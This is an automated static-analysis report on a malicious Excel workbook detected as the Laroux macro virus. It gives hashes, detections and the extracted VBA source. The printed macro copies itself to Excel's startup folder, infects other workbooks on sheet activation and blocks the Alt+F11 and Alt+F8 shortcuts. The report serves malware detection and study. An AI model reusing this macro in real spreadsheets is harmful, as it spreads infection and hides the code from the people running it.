Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 508e7e7f6ade4888…

MALICIOUS

Office (OLE)

21.0 KB Created: 2007-12-19 04:02:11 Authoring application: Microsoft Excel First seen: 2015-09-20
MD5: 1396db6069c9b1abf28b2f3ddce07f60 SHA-1: 12c2dacb016dcbe4646e3827bcdf60a6a9cd4b30 SHA-256: 508e7e7f6ade488851b9c1d07a1ca88ae937f0f48158a7af89d0194389bf916b
88 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is an Excel document containing VBA macros, specifically an Auto_Open macro. This macro attempts to copy the malicious workbook to the Excel startup directory as 'StartUp.xls' and configures sheet activation and key bindings to maintain persistence. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 917 bytes
SHA-256: ef12d7355755f09cb7ed5d43609aa9c78ce2121e9043188a92ffb406905a8ca9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    End If
    End Sub

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